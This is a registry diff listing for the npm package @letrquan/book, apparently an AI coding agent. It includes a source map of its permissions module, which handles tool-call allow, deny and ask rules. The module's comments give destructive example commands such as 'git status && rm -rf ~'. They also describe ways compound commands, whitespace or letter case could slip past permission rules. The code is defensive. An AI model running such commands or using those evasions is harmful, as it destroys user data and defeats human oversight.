@letrquan/book 0.2.0 → 0.4.0-beta.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +3771 -40
- package/README.md +135 -1311
- package/dist/additional-roots-VAWRQ625.js +32 -0
- package/dist/{app-MOXXWEOY.js → app-J7BVPSUH.js} +9648 -5509
- package/dist/app-J7BVPSUH.js.map +1 -0
- package/dist/chunk-2AAOF5B5.js +28 -0
- package/dist/chunk-2AAOF5B5.js.map +1 -0
- package/dist/chunk-32WBCUAN.js +660 -0
- package/dist/chunk-32WBCUAN.js.map +1 -0
- package/dist/chunk-4DKHLZRI.js +120 -0
- package/dist/chunk-4DKHLZRI.js.map +1 -0
- package/dist/{chunk-CAGOB2N4.js → chunk-62EEAUID.js} +6 -4
- package/dist/chunk-62EEAUID.js.map +1 -0
- package/dist/chunk-AHC7OU75.js +1124 -0
- package/dist/chunk-AHC7OU75.js.map +1 -0
- package/dist/{chunk-E75IPST5.js → chunk-AJZWLKLQ.js} +73 -70
- package/dist/chunk-AJZWLKLQ.js.map +1 -0
- package/dist/chunk-B5FC3MYZ.js +395 -0
- package/dist/chunk-B5FC3MYZ.js.map +1 -0
- package/dist/{chunk-KWHQ2XXL.js → chunk-DNFQTSMJ.js} +55 -13
- package/dist/chunk-DNFQTSMJ.js.map +1 -0
- package/dist/{chunk-J7MIZ5CA.js → chunk-E5WLQSKA.js} +719 -89
- package/dist/chunk-E5WLQSKA.js.map +1 -0
- package/dist/chunk-ECLC4CIJ.js +1181 -0
- package/dist/chunk-ECLC4CIJ.js.map +1 -0
- package/dist/chunk-EEX6QNXV.js +127 -0
- package/dist/chunk-EEX6QNXV.js.map +1 -0
- package/dist/chunk-EFXVSQ5J.js +931 -0
- package/dist/chunk-EFXVSQ5J.js.map +1 -0
- package/dist/{chunk-V4BOYR52.js → chunk-ENLB7NYV.js} +1304 -326
- package/dist/chunk-ENLB7NYV.js.map +1 -0
- package/dist/chunk-FPR7SKIE.js +6926 -0
- package/dist/chunk-FPR7SKIE.js.map +1 -0
- package/dist/{chunk-DGMQEI6Y.js → chunk-HFB74CLM.js} +30 -9
- package/dist/chunk-HFB74CLM.js.map +1 -0
- package/dist/{chunk-5RDRAO4B.js → chunk-HOZXKOE3.js} +37 -1
- package/dist/chunk-HOZXKOE3.js.map +1 -0
- package/dist/chunk-IDYWN37T.js +36 -0
- package/dist/chunk-IDYWN37T.js.map +1 -0
- package/dist/chunk-J4F2QLM2.js +273 -0
- package/dist/chunk-J4F2QLM2.js.map +1 -0
- package/dist/chunk-JGF5HLSI.js +1065 -0
- package/dist/chunk-JGF5HLSI.js.map +1 -0
- package/dist/{chunk-XIFFTATU.js → chunk-KDNWMKXV.js} +7166 -4237
- package/dist/chunk-KDNWMKXV.js.map +1 -0
- package/dist/chunk-KXAYUIKP.js +90 -0
- package/dist/chunk-KXAYUIKP.js.map +1 -0
- package/dist/{chunk-3U5IBM24.js → chunk-MEOB2DZA.js} +12 -2
- package/dist/chunk-MEOB2DZA.js.map +1 -0
- package/dist/{chunk-WKBO5R4O.js → chunk-MV5PQNIA.js} +2 -2
- package/dist/chunk-MV5PQNIA.js.map +1 -0
- package/dist/chunk-N2G4Q7ME.js +2672 -0
- package/dist/chunk-N2G4Q7ME.js.map +1 -0
- package/dist/chunk-OJBMDM5H.js +299 -0
- package/dist/chunk-OJBMDM5H.js.map +1 -0
- package/dist/{chunk-URLQAXTR.js → chunk-PTDC7ZUP.js} +2 -2
- package/dist/chunk-PTDC7ZUP.js.map +1 -0
- package/dist/{chunk-574C6MQR.js → chunk-REASC2QG.js} +173 -64
- package/dist/chunk-REASC2QG.js.map +1 -0
- package/dist/{chunk-7N4J557C.js → chunk-RT5SATF7.js} +1 -1
- package/dist/chunk-RT5SATF7.js.map +1 -0
- package/dist/chunk-SBTU5BEC.js +114 -0
- package/dist/chunk-SBTU5BEC.js.map +1 -0
- package/dist/{chunk-5KLVH3PY.js → chunk-SWPDKLNM.js} +5 -3
- package/dist/chunk-SWPDKLNM.js.map +1 -0
- package/dist/chunk-UCFJ43OS.js +520 -0
- package/dist/chunk-UCFJ43OS.js.map +1 -0
- package/dist/{chunk-VZQXX3WW.js → chunk-W7SLYS3M.js} +80 -16
- package/dist/chunk-W7SLYS3M.js.map +1 -0
- package/dist/{chunk-ANSJPYGI.js → chunk-WV3O5PGX.js} +3 -3
- package/dist/chunk-WV3O5PGX.js.map +1 -0
- package/dist/chunk-XHAO3K7I.js +18 -0
- package/dist/chunk-XHAO3K7I.js.map +1 -0
- package/dist/chunk-XJRJVXJR.js +1050 -0
- package/dist/chunk-XJRJVXJR.js.map +1 -0
- package/dist/chunk-YIL6HTJX.js +663 -0
- package/dist/chunk-YIL6HTJX.js.map +1 -0
- package/dist/{chunk-24AXE6SP.js → chunk-ZPSZZUWF.js} +1 -1
- package/dist/chunk-ZPSZZUWF.js.map +1 -0
- package/dist/{command-approvals-6Y57VCWZ.js → command-approvals-ZRY66LCW.js} +7 -5
- package/dist/context-C3RAP6K5.js +41 -0
- package/dist/{hook-approvals-CTUFKEJT.js → hook-approvals-DPQD5H65.js} +6 -5
- package/dist/index.js +947 -203
- package/dist/index.js.map +1 -1
- package/dist/{interactive-assets-CCAAWVKH.js → interactive-assets-73AQO5WP.js} +18 -9
- package/dist/interactive-assets-73AQO5WP.js.map +1 -0
- package/dist/job-runner.js +166 -111
- package/dist/job-runner.js.map +1 -1
- package/dist/job-supervisor.d.ts +2 -0
- package/dist/job-supervisor.js +121 -0
- package/dist/job-supervisor.js.map +1 -0
- package/dist/loader-DQNPDKOX.js +27 -0
- package/dist/{mcp-approvals-WNPH65BK.js → mcp-approvals-27LJYADQ.js} +6 -5
- package/dist/{mcp-config-YIJIES2C.js → mcp-config-GXSODNCM.js} +4 -3
- package/dist/memory-store-I6Z54VUN.js +51 -0
- package/dist/{model-window-store-YFVNXCIP.js → model-window-store-6VKXXTPJ.js} +9 -4
- package/dist/openai-compatible-IPUNBJ53.js +16 -0
- package/dist/permission-approvals-Q5IMFEZI.js +15 -0
- package/dist/permissions-7Y35X6HZ.js +62 -0
- package/dist/provider-approvals-5AGH3RVT.js +76 -0
- package/dist/sandbox-N2RY72GN.js +42 -0
- package/dist/{scrollback-LUKLIBVI.js → scrollback-GD76GNM4.js} +44 -26
- package/dist/scrollback-GD76GNM4.js.map +1 -0
- package/dist/sdk.d.ts +2739 -2069
- package/dist/sdk.js +77 -42
- package/dist/sdk.js.map +1 -1
- package/dist/settings-loader-KDBH45AQ.js +43 -0
- package/dist/settings-loader-KDBH45AQ.js.map +1 -0
- package/dist/{settings-removed-JWWPT4WA.js → settings-removed-3ATWJEF3.js} +2 -2
- package/dist/settings-removed-3ATWJEF3.js.map +1 -0
- package/dist/shell-selection-Z5WORZU4.js +31 -0
- package/dist/shell-selection-Z5WORZU4.js.map +1 -0
- package/package.json +25 -24
- package/dist/app-MOXXWEOY.js.map +0 -1
- package/dist/chunk-24AXE6SP.js.map +0 -1
- package/dist/chunk-3U5IBM24.js.map +0 -1
- package/dist/chunk-574C6MQR.js.map +0 -1
- package/dist/chunk-5GDZ22YP.js +0 -449
- package/dist/chunk-5GDZ22YP.js.map +0 -1
- package/dist/chunk-5KLVH3PY.js.map +0 -1
- package/dist/chunk-5RDRAO4B.js.map +0 -1
- package/dist/chunk-7N4J557C.js.map +0 -1
- package/dist/chunk-A7JLBK2Y.js +0 -3506
- package/dist/chunk-A7JLBK2Y.js.map +0 -1
- package/dist/chunk-ANSJPYGI.js.map +0 -1
- package/dist/chunk-BTZZUCLI.js +0 -264
- package/dist/chunk-BTZZUCLI.js.map +0 -1
- package/dist/chunk-C7D4NJ2D.js +0 -217
- package/dist/chunk-C7D4NJ2D.js.map +0 -1
- package/dist/chunk-CAGOB2N4.js.map +0 -1
- package/dist/chunk-DGMQEI6Y.js.map +0 -1
- package/dist/chunk-E75IPST5.js.map +0 -1
- package/dist/chunk-EYGD6X2T.js +0 -180
- package/dist/chunk-EYGD6X2T.js.map +0 -1
- package/dist/chunk-GTVB4HEM.js +0 -765
- package/dist/chunk-GTVB4HEM.js.map +0 -1
- package/dist/chunk-J7MIZ5CA.js.map +0 -1
- package/dist/chunk-KWHQ2XXL.js.map +0 -1
- package/dist/chunk-L6LK2QIQ.js +0 -657
- package/dist/chunk-L6LK2QIQ.js.map +0 -1
- package/dist/chunk-MAQXCUR4.js +0 -1007
- package/dist/chunk-MAQXCUR4.js.map +0 -1
- package/dist/chunk-S4XL7HOM.js +0 -402
- package/dist/chunk-S4XL7HOM.js.map +0 -1
- package/dist/chunk-URLQAXTR.js.map +0 -1
- package/dist/chunk-V4BOYR52.js.map +0 -1
- package/dist/chunk-VZQXX3WW.js.map +0 -1
- package/dist/chunk-WKBO5R4O.js.map +0 -1
- package/dist/chunk-XIFFTATU.js.map +0 -1
- package/dist/context-ZC5IFEAX.js +0 -25
- package/dist/interactive-assets-CCAAWVKH.js.map +0 -1
- package/dist/loader-4IDS2RIE.js +0 -15
- package/dist/openai-compatible-RHZUBHV6.js +0 -10
- package/dist/permission-approvals-76PVREFD.js +0 -14
- package/dist/permissions-CHCKTFQQ.js +0 -28
- package/dist/sandbox-CNVAQDA7.js +0 -23
- package/dist/scrollback-LUKLIBVI.js.map +0 -1
- package/dist/settings-loader-M2QP5TX2.js +0 -21
- package/dist/shell-selection-V6QAYXPX.js +0 -17
- package/patches/ink+6.8.0.patch +0 -13
- package/scripts/apply-ink-patch.mjs +0 -29
- package/scripts/ink-patch.mjs +0 -59
- package/scripts/verify-ink-patch.mjs +0 -11
- /package/dist/{command-approvals-6Y57VCWZ.js.map → additional-roots-VAWRQ625.js.map} +0 -0
- /package/dist/{context-ZC5IFEAX.js.map → command-approvals-ZRY66LCW.js.map} +0 -0
- /package/dist/{hook-approvals-CTUFKEJT.js.map → context-C3RAP6K5.js.map} +0 -0
- /package/dist/{loader-4IDS2RIE.js.map → hook-approvals-DPQD5H65.js.map} +0 -0
- /package/dist/{mcp-approvals-WNPH65BK.js.map → loader-DQNPDKOX.js.map} +0 -0
- /package/dist/{mcp-config-YIJIES2C.js.map → mcp-approvals-27LJYADQ.js.map} +0 -0
- /package/dist/{model-window-store-YFVNXCIP.js.map → mcp-config-GXSODNCM.js.map} +0 -0
- /package/dist/{openai-compatible-RHZUBHV6.js.map → memory-store-I6Z54VUN.js.map} +0 -0
- /package/dist/{permission-approvals-76PVREFD.js.map → model-window-store-6VKXXTPJ.js.map} +0 -0
- /package/dist/{permissions-CHCKTFQQ.js.map → openai-compatible-IPUNBJ53.js.map} +0 -0
- /package/dist/{sandbox-CNVAQDA7.js.map → permission-approvals-Q5IMFEZI.js.map} +0 -0
- /package/dist/{settings-loader-M2QP5TX2.js.map → permissions-7Y35X6HZ.js.map} +0 -0
- /package/dist/{settings-removed-JWWPT4WA.js.map → provider-approvals-5AGH3RVT.js.map} +0 -0
- /package/dist/{shell-selection-V6QAYXPX.js.map → sandbox-N2RY72GN.js.map} +0 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/permissions.ts","../src/async.ts","../src/tools/diff.ts","../src/tools/file-provenance.ts","../src/memory-write-guard.ts","../src/secret-detect.ts","../src/config.ts","../src/legacy-config.ts","../src/commands/effort.ts","../src/provider-secrets.ts","../src/tools/redacted-secret-guard.ts","../src/tools/mutation.ts","../src/tools/patch.ts","../src/tools/shell-chaining.ts","../src/tools/strict-rm.ts"],"sourcesContent":["import { realpathSync } from 'fs';\nimport { isAbsolute, relative, resolve, sep } from 'path';\nimport type { ResolvedSettings } from './settings.js';\nimport type { PermissionDecision, PermissionResult, ToolCall } from './types/tools.js';\nimport { canonicalToolName } from './tools/aliases.js';\nimport { getPrimaryArg } from './tools/primary-arg.js';\nimport { globToRegex, globWalkPlan } from './tools/glob-regex.js';\nimport { parsePatch, type PatchOperation } from './tools/patch.js';\nimport {\n ANY_QUOTE,\n LINE_BREAK,\n SHELL_CHAINING,\n hasCompoundShellSyntax,\n type ScanShell,\n} from './tools/shell-chaining.js';\nimport { strictRmOfMarkdownUnder } from './tools/strict-rm.js';\nimport {\n canonicalizePath,\n isBookLocalSettingsPath,\n isUnderRoot,\n resolveMutationPath,\n resolveReadablePathDetail,\n resolveWorkspacePath,\n type PathRoots,\n type ReadablePathDetail,\n} from './tools/path-utils.js';\nimport { containsPath, pathHoldsHome, rootHoldsHome } from './additional-roots.js';\nimport { sandboxCoverage } from './sandbox.js';\n\n/**\n * Parse a permission rule string like \"Bash(git *)\" or \"Read(./.env)\" into\n * { toolName, pattern }. The pattern is a glob matched against the tool's\n * primary argument. A bare \"Tool\" (no parens) means match any argument.\n * Empty parens \"Tool()\" also means match any argument.\n */\nexport interface ParsedRule {\n toolName: string;\n /** Glob pattern for the primary argument, or null for match-all. */\n pattern: string | null;\n}\n\nexport interface PermissionVerdict {\n decision: 'allow' | 'deny' | 'ask' | 'refuse';\n matchedRule?: string;\n source?: 'allow' | 'deny' | 'ask' | 'default' | 'sandbox' | 'workspace' | 'memory';\n /**\n * Set on a Read, Glob or Grep whose target the tool itself refuses (outside the workspace and\n * every honored root): no approval can make it work, so the loop blocks it instead of prompting.\n * Set where reads are judged, and on an ask-rule verdict in any mode, where an unattended\n * refusal then names the unreachable target rather than the ask rule.\n */\n outsideWorkspace?: boolean;\n /**\n * Set instead, on a Glob whose pattern the matcher cannot read at all (too long, or nested groups\n * deeper than the matcher compiles). Not a place: the walk would not have started, so there is no\n * directory to serve or to add, and the refusal carries the matcher's own reason.\n */\n unreadablePattern?: string;\n /**\n * Set on an `ask` for a Bash command that {@link hasCompoundShellSyntax} calls compound, while\n * the settings hold a deny or ask rule about Bash (see {@link hasBashAdjudicationPolicy}). A\n * deny or ask glob reads one line and cannot see what a `&&`, a `;` or a second line runs, so\n * such a command is never run without the permission prompt: the loop asks for it in `auto` too\n * (only `bypassPermissions` skips it), and `dontAsk` refuses it. Set on both asks that can\n * happen: the ask rule that matches the compound command as a whole, and the compound ask.\n */\n compoundUnderPolicy?: true;\n}\n\n/** Whether a read target is a pattern the matcher cannot read, with the reason it gave. */\nfunction isUnreadablePattern(\n target: ReadToolTarget | undefined,\n): target is { target: 'invalid'; reason: string } {\n return typeof target === 'object' && target !== null && target.target === 'invalid';\n}\n\n/** The workspace a call's path arguments are judged against (#264). */\nexport interface WorkspaceScope {\n /** The workspace root, as the file tools resolve paths against it. */\n root: string;\n /** The root after following links, when the caller has resolved it once; resolved here if not. */\n realRoot?: string;\n /**\n * Paths outside the workspace that the Read tool may open (Book's memory directory), exactly\n * as `ToolContext.readOnlyRoots`, so a Read is judged by the rule the tool applies.\n */\n readOnlyRoots?: readonly string[];\n /**\n * Book's memory directory as a Glob and Grep search root, exactly as\n * `ToolContext.memorySearchRoot`: a search into it is judged as one the tool can serve.\n */\n memorySearchRoot?: string;\n /**\n * Honored `additionalDirectories`, as the resolved real roots the file tools resolve against\n * (`ToolContext.additionalRoots`). Read+write: a read is auto-allowed exactly as a workspace\n * read is, and a write goes through the ordinary permission flow for its mode.\n */\n additionalRoots?: readonly string[];\n /**\n * Book's project memory directory as a write root (`ToolContext.memoryWrite`), set for the root\n * agent only. A Write, Edit, MultiEdit or ApplyPatch whose every target resolves into it as a\n * memory file is allowed with source `memory`, after the user's deny, ask and allow rules.\n *\n * `scope` is `ToolContext.memoryWrite.scope`. A Bash `rm` of memory files is allowed the same\n * way only when it is `full`: `rm` bypasses the write guard that protects a person's files in a\n * `learnings` session, so there it keeps its prompt.\n */\n memoryWrite?: { root: string; scope?: 'learnings' | 'full' };\n /**\n * The real paths of the home directories under which a read keeps asking, resolved once per run\n * (`homeGuards()`). A read outside every root is refused; a read inside one of these is served,\n * but only through a root that *holds* that home, and only when the path lands inside it.\n *\n * Keyed on the root that serves the resolved target, so a home held as a subdirectory of an\n * honored root is covered: a home holds SSH and provider keys and Book's own trust store, and the\n * one thing `additionalDirectories` widens is exactly which paths a read may reach without asking.\n * A root that merely sits *below* the home — which is nearly every workspace — is not guarded by\n * it; that is `workspaceHoldsHome`, and it asks for everything either way.\n */\n homeGuards?: readonly string[];\n /**\n * Whether to judge what a Read, Glob or Grep reaches at all: true in the modes that prompt for\n * them (`WORKSPACE_READ_JUDGING_MODES`), so a refusal can say when no approval could help.\n */\n judgeReads: boolean;\n /**\n * Whether to judge what a Read, Glob or Grep reaches purely to refuse a target no root serves,\n * whatever the mode does with a target it *can* serve (`WORKSPACE_READ_REFUSAL_MODES`).\n *\n * Wider than {@link judgeReads} by `dontAsk`, and deliberately so. That mode refuses every call\n * that would need approval, so the refusal happens either way; what changes is what it says.\n * Judged as `permission_denied` it told the model to ask for a rule, and the `all_tools_blocked`\n * stop message for a streak of them advises an allow rule that can never make `Read` serve a\n * path outside every root. Judged as a target, it is refused the way the other modes refuse it,\n * with the directory that would serve it. Only the *kind* of refusal moves: a workspace read\n * with no allow rule is still refused in `dontAsk`, because `autoAllowReads` is off there and\n * the owner decided that is the right answer.\n */\n refuseUnreachableReads: boolean;\n /**\n * Whether a target the tool can serve runs without a prompt. Takes effect only with\n * `judgeReads`; false for a workspace that holds a home directory.\n */\n autoAllowReads: boolean;\n}\n\n/**\n * Seams for permission evaluation. `sandboxBackendAvailable` exists so tests can\n * exercise the missing-bwrap branch on a host that has bwrap installed; nothing\n * in production passes it. `workspace` is the scope a call's paths are judged in.\n */\nexport interface PermissionEvaluationOptions {\n sandboxBackendAvailable?: () => boolean;\n workspace?: WorkspaceScope;\n /** The platform a Bash command is read for; `process.platform` unless a test injects one. */\n platform?: NodeJS.Platform;\n /**\n * The session shell a Bash command is read for (`toolContext.shell ?? config.shell`). On win32\n * only a bash or POSIX sh that resolution found on the MSYS runtime (`msys`, such as Git Bash)\n * reads `'` as a quote; see {@link hasCompoundShellSyntax}.\n */\n shell?: ScanShell;\n}\n\n/** Read-only file tools whose targets inside the workspace need no prompt (#264). */\n/**\n * The tools that read the filesystem, and so are judged by the read rules. Narrower than\n * `READ_ONLY_PLAN_TOOLS` in `plan-mode.ts`, which also holds the plan-control and session tools:\n * those return `ask` for reasons unrelated to what they would read, and a loop that treated any\n * of them as a guarded read would prompt for `ExitPlanMode` (PR #334 finding 5).\n */\nexport const WORKSPACE_READ_TOOLS: ReadonlySet<string> = new Set(['Read', 'Glob', 'Grep']);\n\n/** Tools whose rules name one file path, so a rule must match the file however it is spelled. */\nconst PATH_RULE_TOOLS: ReadonlySet<string> = new Set([\n 'Read',\n 'Write',\n 'Edit',\n 'MultiEdit',\n 'NotebookEdit',\n]);\n\n/**\n * Permission modes in which a Read, Glob or Grep target is judged at all, so a target the tool\n * cannot serve is refused instead of prompted for (#264, then #305 item 3).\n *\n * `plan` joined the set when it started judging reads the way `default` does: a plan is written\n * by reading, and an outside target cannot be read in a plan either. `bypassPermissions` asks\n * about nothing, so there is nothing there to refuse early. `auto` asks only about a read an `ask`\n * rule names (#527); an ask rule is still asked in the judging modes too, so such a read is not\n * refused early there either. Its target is judged for that verdict alone, so a read no root serves\n * is marked `outsideWorkspace` in `auto` as in `default` (see `evaluatePermissionDetail`).\n */\nexport const WORKSPACE_READ_JUDGING_MODES: ReadonlySet<string> = new Set([\n 'default',\n 'accept-edits',\n 'plan',\n]);\n\n/**\n * Modes in which a Read, Glob or Grep target no root serves — or one a root excludes — is refused\n * rather than decided as a permission (#264, then #305 item 3, then PR #334).\n *\n * Every mode in {@link WORKSPACE_READ_JUDGING_MODES}, and `dontAsk` beside it. `dontAsk` prompts\n * for nothing, so there is no prompt to raise for an unservable target, but the call is refused\n * all the same — and refused as `permission_denied` it was told to ask for a permission, which no\n * rule or mode can grant for a path outside every root. Refusing it as the target it is gives the\n * same `path_outside_workspace` message, and the same remedy, the other modes give (#305 item 3).\n *\n * `auto` and `bypassPermissions` reach every call no `ask` rule names, so there is nothing to\n * refuse early: the file tools answer for themselves, as they always did.\n */\nexport const WORKSPACE_READ_REFUSAL_MODES: ReadonlySet<string> = new Set([\n ...WORKSPACE_READ_JUDGING_MODES,\n 'dontAsk',\n]);\n\n/**\n * Read-only Git tools that report on the repository without changing it. They run in the\n * workspace root, read no path the user names, and execute nothing the repository's own git\n * config can redirect (see `runGit`), so they need no prompt in the modes that judge calls.\n *\n * Exported so the argument review in `tools/git.ts` can be asserted against this list rather\n * than kept in step by hand: a tool added here and not there would be auto-allowed without\n * anyone having read what it runs.\n */\nexport const WORKSPACE_READ_ONLY_GIT_TOOLS: ReadonlySet<string> = new Set([\n 'GitStatus',\n 'GitDiff',\n 'GitLog',\n 'GitBranch',\n]);\n\nexport function parseRule(rule: string): ParsedRule {\n const parenIdx = rule.indexOf('(');\n if (parenIdx === -1) {\n return { toolName: rule.trim(), pattern: null };\n }\n const toolName = rule.slice(0, parenIdx).trim();\n const closeIdx = rule.lastIndexOf(')');\n if (closeIdx === -1 || closeIdx <= parenIdx) {\n // Malformed — treat as bare tool name.\n return { toolName, pattern: null };\n }\n const pattern = rule.slice(parenIdx + 1, closeIdx).trim();\n return { toolName, pattern: pattern.length === 0 ? null : pattern };\n}\n\n/**\n * Normalize a path-like string for matching: strip leading `./` so that\n * `./.env` and `.env` are equivalent. Non-path args (commands, queries)\n * pass through unchanged.\n */\nfunction normalizePathArg(s: string): string {\n if (s.startsWith('./')) return s.slice(2);\n return s;\n}\n\n/**\n * Check whether a parsed rule matches a tool call. Both the rule pattern\n * and the primary argument are path-normalized (leading `./` stripped) for\n * Read/Write/Edit-style tools so `Read(./.env)` matches a call with\n * `filePath: \".env\"`.\n */\nfunction toolNameMatchesRule(ruleToolName: string, toolName: string): boolean {\n if (ruleToolName === toolName) return true;\n if (!ruleToolName.startsWith('mcp__')) return false;\n const serverName = ruleToolName.slice('mcp__'.length);\n // A bare MCP server namespace (mcp__github) intentionally covers every\n // tool from that server. A full tool rule remains exact.\n return Boolean(\n serverName && !serverName.includes('__') && toolName.startsWith(`${ruleToolName}__`),\n );\n}\n\n/**\n * Fold case for a `deny` or `ask` path rule, on every platform (#305 item 1).\n *\n * On WSL's `/mnt/c` and any other case-insensitive mount, `Read .ENV` opens the same file a\n * `deny: [\"Read(.env)\"]` was written to stop, so a case-sensitive comparison lets the rule be\n * walked straight past. Folding on a case-sensitive file system only makes these two lists\n * stricter, which is the direction they can afford to move: they restrict. `allow` keeps exact\n * matching, because folding there would widen what a rule permits.\n */\nconst caseFoldingPathRule = (value: string): string => value.toLowerCase();\n\n/**\n * Match a parsed rule against a tool name and the argument spellings to test.\n *\n * `fold` is set for the restricting lists (`deny`, `ask`) on a path-rule tool, where the pattern\n * and every candidate are compared case-insensitively; see {@link caseFoldingPathRule}.\n */\nfunction ruleMatchesCandidate(\n rule: ParsedRule,\n toolName: string,\n primaryArg: string,\n fold: boolean,\n): boolean {\n if (!toolNameMatchesRule(rule.toolName, toolName)) return false;\n if (rule.pattern === null) return true; // match-all\n const normalizedArg = normalizePathArg(primaryArg);\n const normalizedPattern = rule.pattern.startsWith('./') ? rule.pattern.slice(2) : rule.pattern;\n if (!fold) return globToRegex(normalizedPattern).test(normalizedArg);\n return globToRegex(caseFoldingPathRule(normalizedPattern)).test(\n caseFoldingPathRule(normalizedArg),\n );\n}\n\nfunction ruleMatches(rule: ParsedRule, toolName: string, primaryArg: string): boolean {\n return ruleMatchesCandidate(rule, toolName, primaryArg, false);\n}\n\n/**\n * Whether a Bash allow rule is an exact rule: it names a pattern and the pattern has no `*`. Any\n * other pattern is a glob rule, and a bare `Bash` (no pattern) admits every call.\n *\n * Only `*` makes an allow rule a glob, not `?`: `Bash(ls a?)` stays the exact rule for the command\n * `ls a?`, which is what \"Always allow\" saves for it, so its `?` is literal (#522). In a glob rule,\n * and in every `deny`, `ask` and path rule, `?` is a one-character wildcard (`globToRegex`).\n */\nfunction isExactPattern(rule: ParsedRule): boolean {\n return rule.pattern !== null && !rule.pattern.includes('*');\n}\n\n/**\n * Whether an `allow` rule admits a Bash call (#500, then #512). The Bash tool runs\n * `command.trim()`, and a rule is read against that:\n *\n * - an exact rule (a pattern without `*`) admits the call only when the trimmed command is\n * byte-for-byte the pattern, compared as plain strings and never through `globToRegex` (where\n * `?` is a wildcard). It does so whether or not the command is compound: the user wrote that\n * very line down;\n * - a glob rule (a pattern with `*`) admits it only when the whole trimmed command matches and is\n * not compound: a glob cannot say \"and nothing else\", and the primary argument is only the first\n * line, so `Bash(git *)` must not admit `git status && rm -rf ~`;\n * - a bare `Bash` rule admits every call.\n *\n * Otherwise the rule does not match and the call falls through to the prompt. `deny` and `ask` do\n * not use this: they read the first line and the trimmed command, see\n * {@link bashRestrictiveCandidates}.\n *\n * `reading` is the command's trimmed text and compound verdict, computed once per call by\n * {@link readBashCommand}; it is computed here when the caller has none.\n */\nfunction bashAllowRuleMatches(\n rule: ParsedRule,\n command: unknown,\n platform: NodeJS.Platform,\n shell: ScanShell | undefined,\n reading?: BashCommandReading,\n): boolean {\n if (!toolNameMatchesRule(rule.toolName, 'Bash')) return false;\n if (rule.pattern === null) return true;\n if (typeof command !== 'string') return false;\n const { trimmed, compound } = reading ?? readBashCommand(command, platform, shell);\n if (isExactPattern(rule)) return trimmed === rule.pattern;\n if (compound) return false;\n return ruleMatchesCandidate(rule, 'Bash', trimmed, false);\n}\n\ninterface BashCommandReading {\n /** What the Bash tool runs: `command.trim()`. */\n trimmed: string;\n /** Whether {@link hasCompoundShellSyntax} refuses it. */\n compound: boolean;\n}\n\nfunction readBashCommand(\n command: string,\n platform: NodeJS.Platform,\n shell: ScanShell | undefined,\n): BashCommandReading {\n return { trimmed: command.trim(), compound: hasCompoundShellSyntax(command, platform, shell) };\n}\n\n/**\n * What a `deny` or `ask` rule is tested against for a Bash call: the first line as written, the\n * first line of the trimmed command, and the whole trimmed command. The Bash tool runs\n * `command.trim()`, so a rule that read only the untrimmed first line would be slid past by leading\n * whitespace (`' git push x'`) into a broader allow rule. The first is what these rules always\n * read; the others only widen what they match.\n */\nfunction bashRestrictiveCandidates(command: unknown, firstLine: string): string[] {\n if (typeof command !== 'string') return [firstLine];\n const trimmed = command.trim();\n return [...new Set([firstLine, trimmed.split('\\n')[0], trimmed])];\n}\n\n/** A `*` or `?`: both are wildcards in a rule (`globToRegex`). */\nconst RULE_WILDCARD = /[*?]/;\n\n/**\n * What a non-Bash call's rule is built from: `taken` is the part of the call's own text the rule\n * holds, and `pattern` the rule's pattern. They differ only for WebFetch, whose rule is its URL's\n * origin with a `/**` Book appends itself.\n */\nfunction ruleScopeOf(\n toolName: string,\n primaryArg: string,\n): { taken: string; pattern: string } | undefined {\n if (!primaryArg) return undefined;\n if (toolName === 'WebFetch') {\n try {\n const origin = new URL(primaryArg).origin;\n return { taken: origin, pattern: `${origin}/**` };\n } catch {\n // An invalid URL must not widen into a tool-wide permission: it is scoped as written.\n }\n }\n return { taken: primaryArg, pattern: primaryArg };\n}\n\n/**\n * The rule that remembers exactly this call, or `undefined` when the call has no rule that\n * admits it and nothing else: it has no primary argument to scope one to, or, for Bash, the\n * command has no such rule, or the rule would carry a `*` or `?` taken from the call's own text.\n *\n * A bare tool name means \"every call of this tool\", so a call whose primary argument\n * is empty must not produce one: `{command: \"\"}` and `{command: \"\\nrm -rf x\"}` both\n * pass the schema, `getPrimaryArg` reads nothing out of either, and an \"Always\" on\n * them would have written a `Bash` rule allowing every shell command from then on.\n * The call is still allowed; nothing is remembered.\n *\n * A rule never carries a wildcard from the call's own text, because in a rule `*` and `?` match\n * other text too: \"Always allow\" on `Write docs/what?.md` would save a rule that admits\n * `docs/whatX.md`, and on `WebFetch http://*.example.com/x` (the URL parser accepts `*` in a\n * host) one for `http://*.example.com/**`, which admits any http host whose URL contains\n * `.example.com/` (review of #531). Book's own wildcard, WebFetch's `/**`, is not taken from the\n * call. Glob and Grep patterns get no rule either; they rarely prompt. For Bash only `*` counts:\n * an exact Bash allow rule compares as plain text, so its `?` stays literal (#522).\n */\nexport function permissionRuleForToolCall(call: ToolCall): string | undefined {\n const toolName = canonicalToolName(call.name);\n if (toolName === 'Bash' && typeof call.arguments.command === 'string') {\n // The exact rule is built from the trimmed command and admits only it (#512). Two commands\n // have no such rule, and an \"Always allow\" on them remembers nothing:\n // - one that is multi-line after trimming (a rule holds one line, and the line it would hold\n // is not what runs);\n // - one that contains a `*`, compound or not (#521). Its rule is a glob rule, whose `*`\n // crosses spaces and `/`: `Bash(rm -rf build/*)` reads as the exact command on the card\n // and goes on to admit `rm -rf build/ ~/`. (A compound one is refused by a glob rule too.)\n // The call itself still runs once.\n // A command that opens with a blank line is not scoped to a line either, as before: its\n // primary argument is empty, and a rule built from it would be a bare `Bash`.\n const command = call.arguments.command.trim();\n if (!command || LINE_BREAK.test(command)) return undefined;\n if (!getPrimaryArg(call.arguments).trim()) return undefined;\n if (command.includes('*')) return undefined;\n return `Bash(${command})`;\n }\n if (toolName === 'WebSearch') return toolName;\n const scope = ruleScopeOf(toolName, getPrimaryArg(call.arguments));\n if (!scope || RULE_WILDCARD.test(scope.taken)) return undefined;\n return `${toolName}(${scope.pattern})`;\n}\n\n/** Why a call that has an argument to scope a rule to still has no rule of its own. */\nexport interface MissingRuleReason {\n /** A Bash command that spans lines or opens with a blank line: a rule holds one line. */\n lineBreak: boolean;\n /**\n * The call's own text holds a character a rule reads as a wildcard: a `*` in a Bash command,\n * or a `*` or `?` in another tool's argument.\n */\n wildcard: boolean;\n}\n\n/**\n * Why {@link permissionRuleForToolCall} has no rule for this call, so a remedy can say so, or\n * `undefined` when it has one, or when the call has no argument at all (a non-Bash call with no\n * primary argument is covered only by its bare tool name, which is then the rule to name).\n */\nexport function missingRuleReason(call: ToolCall): MissingRuleReason | undefined 